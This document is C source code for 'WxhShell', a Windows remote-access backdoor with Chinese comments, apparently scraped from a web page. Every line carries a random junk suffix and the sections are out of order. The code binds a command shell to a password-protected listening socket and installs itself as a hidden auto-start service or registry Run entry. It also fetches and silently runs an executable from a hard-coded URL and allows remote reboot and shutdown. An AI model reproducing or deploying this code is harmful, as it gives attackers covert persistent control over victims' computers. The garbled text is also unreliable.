    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !'Ak&j1:`  
    else { Plc-4y1  
    closesocket(wsh); f<GhkDPm>?  
    ExitThread(0); Y h7rU?Gj  
    } |O3q@  
    break; 8aZ=?_gvT  
    } cv8L-Z>x.=  
  // 获取shell 3v(*5  
  case 's': { 9/9j+5}+  
    CmdShell(wsh); '_<{ p3M  
    closesocket(wsh); .28<tEf  
    ExitThread(0); YP 6` L  
    break; -<6\1J  
  } } j<)L,  
  // 退出 j*d yp  
  case 'x': { :{{F *FM;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 65L6:}#  
    CloseIt(wsh); _ "E$v&_  
    break; {M3qLf~z#C  
    } K~uXO  
  // 离开 !H#bJTXB  
  case 'q': { O3;u G.:1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ky8_UnaO  
    closesocket(wsh); *F WMn.  
    WSACleanup(); +2(I1  
    exit(1); iyN:%ofh  
    break; 02Y]`CXj  
        } ~Cbc<[}  
  } AJt+p&I[J  
  } `K*Q5n  
Qd)q([  
  // 提示信息 uOKCAqYa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zy?.u.4L  
} JELT ou  
  } \$R_YKGf1G  
{]*c29b>  
  return; hZdoc<  
} `CBZhI%%  
"/yC@VC>  
// shell模块句柄 !1rlN8w(qr  
int CmdShell(SOCKET sock) ,k.3|aZE  
{ B{/R: Hm  
STARTUPINFO si; 8Pfb~&X^Ws  
ZeroMemory(&si,sizeof(si)); Y5f1lUT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B`YTl~4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B|Du@^$  
PROCESS_INFORMATION ProcessInfo; fJ5iS  
char cmdline[]="cmd"; i3dkYevs?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <qtr   
  return 0; Wfu(*  
} '>NCMB{*  
7jxslI&F  
// 自身启动模式 ?:pP8/y  
int StartFromService(void) ~Uj=^leYO  
{ ;m0~L=w  
typedef struct 2SD`OABf#  
{ Ut*`:]la  
  DWORD ExitStatus; tankR9(o  
  DWORD PebBaseAddress; [O$Wa:< 0x  
  DWORD AffinityMask; VdPtPq1  
  DWORD BasePriority; ?OId\'q  
  ULONG UniqueProcessId; O $LfuL  
  ULONG InheritedFromUniqueProcessId; rr+|Zt Y  
}   PROCESS_BASIC_INFORMATION; l#m#c6;=  
vV6<^ W:9F  
PROCNTQSIP NtQueryInformationProcess; Sw:7pByjI  
&[_g6OL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jk&3%^P{m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; neB\q[k  
6q*9[<8  
  HANDLE             hProcess; ;i8g41qjF  
  PROCESS_BASIC_INFORMATION pbi; bG7O  
@>u]4Jn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \@WDV  
  if(NULL == hInst ) return 0; l2`s! ,<>O  
"K  ~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k;2GEa]w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wZG\>9~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l-fi%Z7C  
5k!g%sZ  
  if (!NtQueryInformationProcess) return 0; * ;-*x6  
1uG"f<TsR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "&%I)e^  
  if(!hProcess) return 0; 0+iu(VbF  
Y}x>t* I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4^:\0U F  
+vvv[  
  CloseHandle(hProcess); XO`0>^g  
dpJ_r>NI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m/Oh\KlIl  
if(hProcess==NULL) return 0; 4 kn|^  
d^ Inb!%w  
HMODULE hMod; u_hD}V^x4  
char procName[255]; F{Z~ R  
unsigned long cbNeeded; }e!x5g   
N+++4;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2gc/3*F8  
gaQdG=G8$  
  CloseHandle(hProcess); #J@[Wd  
,eOB(?Ku  
if(strstr(procName,"services")) return 1; // 以服务启动 C+'/>=>a.  
~{d$!`|a  
  return 0; // 注册表启动 %Da8{%{`Pc  
} kr+D,h01  
6tB+JF  
// 主模块 E;,u2[3  
int StartWxhshell(LPSTR lpCmdLine) $g/SWq  
{ .}&` TU  
  SOCKET wsl; 8u"!dq  
BOOL val=TRUE; Vc_'hz]Z  
  int port=0; T~--92[  
  struct sockaddr_in door; R(('/JC  
Qi^Z11  
  if(wscfg.ws_autoins) Install(); {K <iih  
jB`,u|FG  
port=atoi(lpCmdLine); `rgn<I"  
RzBF~2 >i  
if(port<=0) port=wscfg.ws_port; _XG/Pp)  
XDsx3Ws  
  WSADATA data; esHg'8?U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0F]>Jby  
)+l\w3^6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nKS7Q1+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B{|8#jqY  
  door.sin_family = AF_INET; o1Ph~|s*8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e]`[yf  
  door.sin_port = htons(port); G.rrv  
XR+Y=R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n.T&}ZPz\v  
closesocket(wsl); ,#Iu 7di  
return 1; Ewu O&q  
} >XK PTC5H  
@*OZx9  
  if(listen(wsl,2) == INVALID_SOCKET) { IHe/xQ@  
closesocket(wsl); }M1`di4e  
return 1; '3_]Gu-D  
} |y&*MTfV4L  
  Wxhshell(wsl); Z8zmHc"IH  
  WSACleanup(); ]or>?{4g  
cJN7bA {  
return 0; Xa CX!Lr,  
PRr2F-!P  
} -j%,Oo  
&f"-d  
// 以NT服务方式启动 {kp"nl$<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9)}[7Mg:C  
{ pi /g H  
DWORD   status = 0; ;-9=RI0  
  DWORD   specificError = 0xfffffff; $eD.W  
qm./|#m>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'd.EC#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  5V6G=H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pNOwDJtK  
  serviceStatus.dwWin32ExitCode     = 0; qC}-_u7s  
  serviceStatus.dwServiceSpecificExitCode = 0; DBPRGQ  
  serviceStatus.dwCheckPoint       = 0; _(Sa4Vb=Q6  
  serviceStatus.dwWaitHint       = 0; H GXt  
>*]Hq.&8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6qRx0"qB  
  if (hServiceStatusHandle==0) return; H18Tn!RDS  
d p2F  
status = GetLastError(); #1`-*.u  
  if (status!=NO_ERROR) >xF/Pl  
{ #N#'5w-G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FuVnk~gq  
    serviceStatus.dwCheckPoint       = 0; .$Ik`[+Z  
    serviceStatus.dwWaitHint       = 0; (&}i`}v_  
    serviceStatus.dwWin32ExitCode     = status; \]&#%6|V  
    serviceStatus.dwServiceSpecificExitCode = specificError; qDv93  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9F4Dm*_<  
    return; <\Eh1[F  
  } 'ixwD^x  
{XNREjhm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hJn%mdx~w|  
  serviceStatus.dwCheckPoint       = 0; crqpV F]1]  
  serviceStatus.dwWaitHint       = 0; V=zi >o`   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y,W uBH  
} "5-^l.CKH  
V^JV4 `o  
// 处理NT服务事件,比如:启动、停止 N F2/B#q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S'A>2>  
{ (5R?#vj  
switch(fdwControl) +s,Qmmb7)  
{ K<pV  
case SERVICE_CONTROL_STOP: hCCiD9gz  
  serviceStatus.dwWin32ExitCode = 0; }2(,K[?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JQV%fTHS  
  serviceStatus.dwCheckPoint   = 0; {7$c8i  
  serviceStatus.dwWaitHint     = 0; WKT4D}{1  
  { `wus\&!W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MOsl_^c  
  } [21 =5S  
  return; Q,p}:e  
case SERVICE_CONTROL_PAUSE: Db)?i?o}t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kz>3 ic$I  
  break; gUxP>hB  
case SERVICE_CONTROL_CONTINUE: ? i( %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]Bm/eRy"  
  break; ?mWw@6G,  
case SERVICE_CONTROL_INTERROGATE: q8^^H$<Db  
  break; %F!1  
}; #>%X_o-o23  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X=hYB}}nu  
} twP,cyR  
Fb^:V4<T  
// 标准应用程序主函数 RnhL< Ywu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,_yh z0.  
{ /x5rf  
VCn{mp*h  
// 获取操作系统版本 LM}Ib.  
OsIsNt=GetOsVer(); `|,`QqDQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }*lUah,@  
+w.JpbQ&  
  // 从命令行安装 >Y #t`6,!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 11<Qxu$rL  
#tZ4N7  
  // 下载执行文件 |55N?=8  
if(wscfg.ws_downexe) { /G5d|P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |_`E1Y}}  
  WinExec(wscfg.ws_filenam,SW_HIDE); T-5nB>)  
} h&`e) a>+  
Hz.(qW">5*  
if(!OsIsNt) { 5$wpL(:R(  
// 如果时win9x,隐藏进程并且设置为注册表启动 y>72{  
HideProc(); DTa N"{  
StartWxhshell(lpCmdLine); 89\n;5'f4  
} Ytz)d/3T  
else bty/  
  if(StartFromService()) #bl6sa{E  
  // 以服务方式启动 5Cq{XcXV  
  StartServiceCtrlDispatcher(DispatchTable); ix(=3 /Dgz  
else HuwU0:*  
  // 普通方式启动 4F{)i  
  StartWxhshell(lpCmdLine); I9:Cb)hbU]  
l~6?kFy9h  
return 0; o'W5|Gy  
} QAvir%Y9Q  
]@uE #a:[  
ZCB_  
o(:[r@Z0z  
=========================================== "Qja1TQ  
CAcS~ "  
e'0{?B  
Md0 s K  
EmODBTu+  
hjIT_{mk  
" /%&2HDA)  
m|=H#  
#include <stdio.h> A j2OkD  
#include <string.h> QNA RkYY~|  
#include <windows.h> iMs5zf <M  
#include <winsock2.h> hRty [  
#include <winsvc.h> WHjUR0NZ  
#include <urlmon.h> R}lsnX<  
[P 06lIO  
#pragma comment (lib, "Ws2_32.lib") w9, iq@  
#pragma comment (lib, "urlmon.lib") `FsH}UPu b  
z)9wXo#~  
#define MAX_USER   100 // 最大客户端连接数 Xtp"QY p  
#define BUF_SOCK   200 // sock buffer uO=aaKG  
#define KEY_BUFF   255 // 输入 buffer &2`Fn!m  
sFQ^2PwbS  
#define REBOOT     0   // 重启 #|*F1K  
#define SHUTDOWN   1   // 关机 Q($Z%1S  
)hk   
#define DEF_PORT   5000 // 监听端口 tI7:5Cm  
Y=?yhAw  
#define REG_LEN     16   // 注册表键长度 hi0R.V&  
#define SVC_LEN     80   // NT服务名长度 L+CyQq  
TZ2=O<Kj  
// 从dll定义API xf b]b2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4dhvFGlW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `67[O4$<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6IWxPt ~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {%IExPJ  
,:??P1  
// wxhshell配置信息 /)dFK~  
struct WSCFG { >2]JXLq  
  int ws_port;         // 监听端口 'A:x/iv}^  
  char ws_passstr[REG_LEN]; // 口令 %K>.lh@  
  int ws_autoins;       // 安装标记, 1=yes 0=no h=(DX5:A  
  char ws_regname[REG_LEN]; // 注册表键名 F0:A]`|  
  char ws_svcname[REG_LEN]; // 服务名 'k4E4OB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cOPB2\,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "dI;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Sr%;fq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }S3qBQTYL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Er{#ziN+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \[jq4`\$  
FIbp"~  
}; TpHfS]W-P  
s%2v3eb  
// default Wxhshell configuration L3n_ 5|  
struct WSCFG wscfg={DEF_PORT, L5qwWvbT  
    "xuhuanlingzhe", -.T&(&>^  
    1, %/YcL6o(  
    "Wxhshell", j%y$_9a7  
    "Wxhshell", 6$ Gep  
            "WxhShell Service", 40|,*wi  
    "Wrsky Windows CmdShell Service", <x&%~6j  
    "Please Input Your Password: ", Tp0bS  
  1, 5cEcTJL[C  
  "http://www.wrsky.com/wxhshell.exe", Y_]De3:V0B  
  "Wxhshell.exe" 1!.(4gV  
    }; k iRa+w:  
CYKr\DA  
// 消息定义模块 jiYmb8Q4D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZKXo-~=>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !>>f(t4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .VkbYK  
char *msg_ws_ext="\n\rExit."; Dgx8\~(E'  
char *msg_ws_end="\n\rQuit."; 'w14sr%  
char *msg_ws_boot="\n\rReboot..."; 1*dRK6  
char *msg_ws_poff="\n\rShutdown..."; 7{xh8#m  
char *msg_ws_down="\n\rSave to "; k<cgO[m   
L*Me."*  
char *msg_ws_err="\n\rErr!"; /__PSK  
char *msg_ws_ok="\n\rOK!"; ^k Cn*&  
aM{xdTYaU  
char ExeFile[MAX_PATH]; &m[Qn!>i6  
int nUser = 0; *b xzCI7b  
HANDLE handles[MAX_USER]; > ]8a3x  
int OsIsNt; "3<da*D1  
Zr-U&9.`  
SERVICE_STATUS       serviceStatus; Rcawc Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JXw^/Y$  
~j-cS J3  
// 函数声明 !H2QjW  
int Install(void); +Y V|ij  
int Uninstall(void); yB3;  
int DownloadFile(char *sURL, SOCKET wsh); l/Vo-#  
int Boot(int flag); =i(?deR  
void HideProc(void); hRq3C1 mR  
int GetOsVer(void); !wWJ^Oz=  
int Wxhshell(SOCKET wsl); ]r-C1bKD`  
void TalkWithClient(void *cs); ?X5]i#j[  
int CmdShell(SOCKET sock); UThB7(O,  
int StartFromService(void); !o>H1#2l  
int StartWxhshell(LPSTR lpCmdLine); >y}M.Mm  
%eJGt e-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CT\;xt,S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B}eA\O4}I  
UK{irU|\  
// 数据结构和表定义 F {B\kq8  
SERVICE_TABLE_ENTRY DispatchTable[] = +z9gbcx  
{ 7#~+@'Oe  
{wscfg.ws_svcname, NTServiceMain}, t#S<iBAZ  
{NULL, NULL} ay %KE=*v  
}; 1-Po Z[p-R  
$ -c!W!H  
// 自我安装 *A~ G_0B  
int Install(void) ;3 F"TH  
{ >+mD$:L  
  char svExeFile[MAX_PATH]; )NO<s0?&  
  HKEY key; M gC:b-&5_  
  strcpy(svExeFile,ExeFile); &bhq`>  
h1(j2S`:  
// 如果是win9x系统,修改注册表设为自启动 uK'&Dam  
if(!OsIsNt) { !gLkJ)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LPwT^zV&N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {>"NyY  
  RegCloseKey(key); n3lE, b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?X-)J=XG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kvh&d|  
  RegCloseKey(key); z`Hy'{1  
  return 0; )~V4+*<  
    } X{^}\,cVtG  
  } TyKWy0x-3  
} .^bft P\  
else { Pub0IIs  
87WBM;$&s  
// 如果是NT以上系统,安装为系统服务 m{7^EF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yi^b)2G  
if (schSCManager!=0) 'SYo_!  
{ r|*&GHo L  
  SC_HANDLE schService = CreateService UYA_jpIP  
  ( e;GU T:  
  schSCManager, 2..,Sk  
  wscfg.ws_svcname, I2 a6w<b  
  wscfg.ws_svcdisp, x'zBK0i  
  SERVICE_ALL_ACCESS, l_j4DQBRV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O}[PJfvBHo  
  SERVICE_AUTO_START, [I:KpAd/  
  SERVICE_ERROR_NORMAL, y}v+c%d  
  svExeFile, &vovA} F  
  NULL, HK)cKzG[s!  
  NULL, {T'GQz+R"  
  NULL, KI]wm  
  NULL, 4 V1bLm  
  NULL ,+;:3gRk9  
  ); @R m-CWa  
  if (schService!=0) D{v8q)5r  
  { `p'Q7m2y/b  
  CloseServiceHandle(schService); !WkIi^T  
  CloseServiceHandle(schSCManager); 3@n>*7/E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +m}Pmi$  
  strcat(svExeFile,wscfg.ws_svcname); __@zTSVb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <} jPXEB"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =H8 xSJLh  
  RegCloseKey(key); E1&b#TE 6O  
  return 0; ICB~_O5  
    } [~\PQYm'  
  } CU:o*;jP  
  CloseServiceHandle(schSCManager); :y2p@#l#  
} +uWYK9  
} UwY-7Mmo  
=TP( UJ  
return 1; D^U: ih  
} 7B3w\  
*[eL~oN.c  
// 自我卸载 L0%hnA@  
int Uninstall(void) 39 Y(!q  
{ }<jb vCeK  
  HKEY key; mfny4R1_  
-;;Z 'NM;8  
if(!OsIsNt) { i{^Z1;Yl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^O^:$nXhYy  
  RegDeleteValue(key,wscfg.ws_regname); h5kPn~  
  RegCloseKey(key); Q{QYBh&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I NSkgOo  
  RegDeleteValue(key,wscfg.ws_regname); Y`6rEA0  
  RegCloseKey(key); L?Yoh<  
  return 0; Z.i{i^/#(  
  } %b?$@H-Re  
} ^")F7`PF  
} ]=73-ywn]  
else { d {2  
~e@>zoM'^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1x~U*vbhQ  
if (schSCManager!=0) 0(8H;T  
{ /cFzotr"9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Fk=}iB#(  
  if (schService!=0) .w6eJ4 ]  
  { O)R(==P26P  
  if(DeleteService(schService)!=0) { r C[6lIP  
  CloseServiceHandle(schService); B6}FIg)  
  CloseServiceHandle(schSCManager); Dbx~n#nG  
  return 0; $!A:5jech  
  } f]8I64  
  CloseServiceHandle(schService); ]J2:194  
  } lo&#(L+2  
  CloseServiceHandle(schSCManager); Gi^Ha=?J%  
} E{Pgf8  
} !.5),2  
!SHj$Jwa'  
return 1; 7@%'wy&A  
} _L.n,  
02JL*  
// 从指定url下载文件 vOI[Z0Lq9h  
int DownloadFile(char *sURL, SOCKET wsh) N?4q  
{ RAs0]K  
  HRESULT hr; io4A>>W==/  
char seps[]= "/"; ALd;$fd qf  
char *token; \'?#i @O  
char *file; oh#N 0 0X  
char myURL[MAX_PATH]; &ogt2<1W  
char myFILE[MAX_PATH]; fvo<(c#Y#  
gd@p|PsS^  
strcpy(myURL,sURL); J?:[$C5  
  token=strtok(myURL,seps); |f2A89  
  while(token!=NULL) 7q9gngT1LA  
  { Q}2[hB  
    file=token; x;BbTBc>  
  token=strtok(NULL,seps); E^ h=!RW{  
  } f%qt)Ick  
?Ce#BwQ>  
GetCurrentDirectory(MAX_PATH,myFILE); xcCl (M]+  
strcat(myFILE, "\\"); I12KT~z<r  
strcat(myFILE, file); 7_KhV  
  send(wsh,myFILE,strlen(myFILE),0); %NHYW\sKX  
send(wsh,"...",3,0); q$ghLGz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ES:!Vx9t0|  
  if(hr==S_OK) @fn6<3  
return 0; &$fbP5uAZ  
else j,%EW+j$  
return 1; `kBnSio~  
Ln#a<Rx.E7  
} >N`6;gn*l  
_94s(~g:  
// 系统电源模块 IvBGpT"(I  
int Boot(int flag) msTB'0  
{ Vj^dD9:  
  HANDLE hToken; ('o&Q_  
  TOKEN_PRIVILEGES tkp; 2O""4_G  
M7y|EB))  
  if(OsIsNt) { 1|y$~R.H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <ZPZk'53<f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +S{  
    tkp.PrivilegeCount = 1; cHvF*A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T.?k>A k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /nB'kg[h\  
if(flag==REBOOT) { uOk%AL>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mn^zYW|(  
  return 0; @6xGJ,s  
} +QqH}= M  
else { ^3I'y UsY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /r$&]C:Fi  
  return 0; -]"T^w ib  
} 2 g`[u|  
  } E)'8U  
  else { }B!cv{{  
if(flag==REBOOT) { M?:\9DDd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p%RUHN3G[  
  return 0; oFg'wAO.  
} , r+"7$  
else { Etnb3<^[t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s^C;>  
  return 0; c]m! G'L_/  
} [Z }B"  
} T[Q"}&bB  
3B18dv,V  
return 1;  Q9y*:  
} wa3F  
t3F?>G#y  
// win9x进程隐藏模块 CI^|k/  
void HideProc(void) B\<ydN  
{ E3\ZJjG  
|_pl;&;:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U}P,EP%p  
  if ( hKernel != NULL ) !]DuZ=  
  { ~Yl$I,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^e9aD9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U )Zt-og  
    FreeLibrary(hKernel); ]tVl{" .{  
  } 5Hle-FDn9  
KRk~w]  
return; X ]s"5ju|t  
} P>htQ  
V/H@vKN2  
// 获取操作系统版本 STT2o=   
int GetOsVer(void) XJFnih  
{ 1i,4".h?M  
  OSVERSIONINFO winfo; wu^q`!ml  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fA XE~  
  GetVersionEx(&winfo); [@.B4p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dc:DY:L^  
  return 1; 5EhE`k4  
  else iSd?N}2,I  
  return 0; m`9^.>]P  
} kMS5h~D[  
0eA5zFU7  
// 客户端句柄模块 |!b9b(_j9  
int Wxhshell(SOCKET wsl) {})y^L  
{ IQ{?_'  
  SOCKET wsh; UX}*X`{  
  struct sockaddr_in client; 3}4#I_<$F@  
  DWORD myID; G2@KI-  
)5i* /I\  
  while(nUser<MAX_USER) ;eR{tH /4  
{ (5(fd.m+_  
  int nSize=sizeof(client); |BJqy/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x(6vh2#vD  
  if(wsh==INVALID_SOCKET) return 1;  1~EO+  
Y(z }[`2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 33M}>$ZH  
if(handles[nUser]==0) !fZLQc  
  closesocket(wsh); { y/-:=S)A  
else M71R -B`-  
  nUser++; (HSw%e  
  } 5&%fkZ0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j];G*-iv{  
[tN` :}?  
  return 0; Ut;'Gk  
} z@`@I  
pX]21&F  
// 关闭 socket 3Q$c'C  
void CloseIt(SOCKET wsh) \*9Ua/H  
{ S-P{/;c@  
closesocket(wsh); .nPL2zO  
nUser--; |$Xf;N37t  
ExitThread(0); XW:%vJu^`  
} R\ q):,  
{c?ymkK  
// 客户端请求句柄 %#4 +!  
void TalkWithClient(void *cs) 0%;M VMH  
{ GWh|FEqUbf  
9TW8o}k`  
  SOCKET wsh=(SOCKET)cs; yjv&4pIc1  
  char pwd[SVC_LEN]; $P_x v  
  char cmd[KEY_BUFF]; ]W|RtdF3.N  
char chr[1]; K Dz]wNf  
int i,j; aZxO/b^j  
r$?Vx_f`Q  
  while (nUser < MAX_USER) { i"fCpkAP  
p  .aE  
if(wscfg.ws_passstr) { KE#$+,?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QB9A-U <J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w%I8CU_}.  
  //ZeroMemory(pwd,KEY_BUFF); N.n1<  
      i=0; H\f/n`@,G  
  while(i<SVC_LEN) { m|`VJ 0  
 I9Om#m  
  // 设置超时 P09,P  
  fd_set FdRead; hqWbp*  
  struct timeval TimeOut; /[L)tj7B  
  FD_ZERO(&FdRead); lG < yJ~{  
  FD_SET(wsh,&FdRead); ` Rsl] GB  
  TimeOut.tv_sec=8; hJ4S3b  
  TimeOut.tv_usec=0; r?]%d!   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fT x4vlI4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ] EV`dIk  
J2=*-O:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /6smVz@O  
  pwd=chr[0]; GM77Z.Y  
  if(chr[0]==0xd || chr[0]==0xa) { Q.>/*8R;  
  pwd=0; ,-!2 5G  
  break; Bj+wayMi  
  } PgTDjEo  
  i++; YkVRl [  
    } @7]\y7D  
p&m ^IWD  
  // 如果是非法用户,关闭 socket "p`o]$Wv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `+Xe'ey  
} c-|kv[\a  
z2ds8-z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ifd}]UMQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8eN%sm  
h%/ssB  
while(1) { #9INX`s-  
>waN;&>/  
  ZeroMemory(cmd,KEY_BUFF); k5g@myb-  
}oV3EIH  
      // 自动支持客户端 telnet标准   M-vC>u3Y  
  j=0; ^}tL nF  
  while(j<KEY_BUFF) { wyNC|P;j$g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h9U+ %=^O  
  cmd[j]=chr[0]; H[Cj7{V  
  if(chr[0]==0xa || chr[0]==0xd) { 3 ^pYC K%  
  cmd[j]=0; =J`gGDhGY-  
  break; s v6INe:  
  } qZ233pc  
  j++; vD_u[j]  
    } { q})kO  
i5Eeg`NMl  
  // 下载文件 )'=V!H#U*  
  if(strstr(cmd,"http://")) { _J` |<}?t;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q^vGj</u  
  if(DownloadFile(cmd,wsh)) SC]6F*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>EqH?EQ  
  else \A ;^ UxG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C1n? ?Y[  
  } >2nF"?"=  
  else { 7Onk!NH  
3V"dG1?  
    switch(cmd[0]) { ^z38<L=z"  
  zv`zsqDJ  
  // 帮助 CJ0$;et  
  case '?': { ktU9LW~  
